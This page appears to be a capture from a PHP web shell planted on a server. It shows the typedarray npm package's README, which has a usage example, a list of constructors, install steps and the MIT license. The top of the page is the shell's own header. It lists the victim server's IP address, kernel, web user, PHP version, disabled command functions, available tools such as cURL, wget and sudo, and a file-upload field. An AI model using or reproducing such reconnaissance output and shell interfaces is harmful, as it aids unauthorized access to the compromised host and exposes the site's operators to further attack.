| Server IP : 146.190.157.162 / Your IP : 216.73.217.6 Web Server : Apache System : Linux ubuntu-s-2vcpu-4gb-amd-sfo3-01-KIT-DIGITAL 6.5.0-44-generic #44-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 7 15:10:09 UTC 2024 x86_64 User : businessweek ( 639) PHP Version : 8.2.10-2ubuntu2.2 Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_signal,pcntl_signal_dispatch,pcntl_getpriority,pcntl_setpriority,dl,putenv,parse_ini_file,show_source MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /usr/share/doc/node-typedarray/ |
Upload File : |
# typedarray <sup>[![Version Badge][npm-version-svg]][package-url]</sup>
[![github actions][actions-image]][actions-url]
[![coverage][codecov-image]][codecov-url]
[![License][license-image]][license-url]
[![Downloads][downloads-image]][downloads-url]
[![npm badge][npm-badge-png]][package-url]
TypedArray polyfill ripped from [this
module](https://raw.github.com/inexorabletash/polyfill).
[](http://travis-ci.org/es-shims/typedarray)
[](https://ci.testling.com/es-shims/typedarray)
# example
``` js
var Uint8Array = require('typedarray').Uint8Array;
var ua = new Uint8Array(5);
ua[1] = 256 + 55;
console.log(ua[1]);
```
output:
```
55
```
# methods
``` js
var TA = require('typedarray')
```
The `TA` object has the following constructors:
* TA.ArrayBuffer
* TA.DataView
* TA.Float32Array
* TA.Float64Array
* TA.Int8Array
* TA.Int16Array
* TA.Int32Array
* TA.Uint8Array
* TA.Uint8ClampedArray
* TA.Uint16Array
* TA.Uint32Array
# install
With [npm](https://npmjs.org) do:
```
npm install typedarray
```
To use this module in the browser, compile with
[browserify](http://browserify.org)
or download a UMD build from browserify CDN:
http://wzrd.in/standalone/typedarray@latest
# license
MIT
[package-url]: https://npmjs.org/package/typedarray
[npm-version-svg]: https://versionbadg.es/es-shims/typedarray.svg
[deps-svg]: https://david-dm.org/es-shims/typedarray.svg
[deps-url]: https://david-dm.org/es-shims/typedarray
[dev-deps-svg]: https://david-dm.org/es-shims/typedarray/dev-status.svg
[dev-deps-url]: https://david-dm.org/es-shims/typedarray#info=devDependencies
[npm-badge-png]: https://nodei.co/npm/typedarray.png?downloads=true&stars=true
[license-image]: https://img.shields.io/npm/l/typedarray.svg
[license-url]: LICENSE
[downloads-image]: https://img.shields.io/npm/dm/typedarray.svg
[downloads-url]: https://npm-stat.com/charts.html?package=typedarray
[codecov-image]: https://codecov.io/gh/es-shims/typedarray/branch/main/graphs/badge.svg
[codecov-url]: https://app.codecov.io/gh/es-shims/typedarray/
[actions-image]: https://img.shields.io/endpoint?url=https://github-actions-badge-u3jn4tfpocch.runkit.sh/es-shims/typedarray
[actions-url]: https://github.com/es-shims/typedarray/actions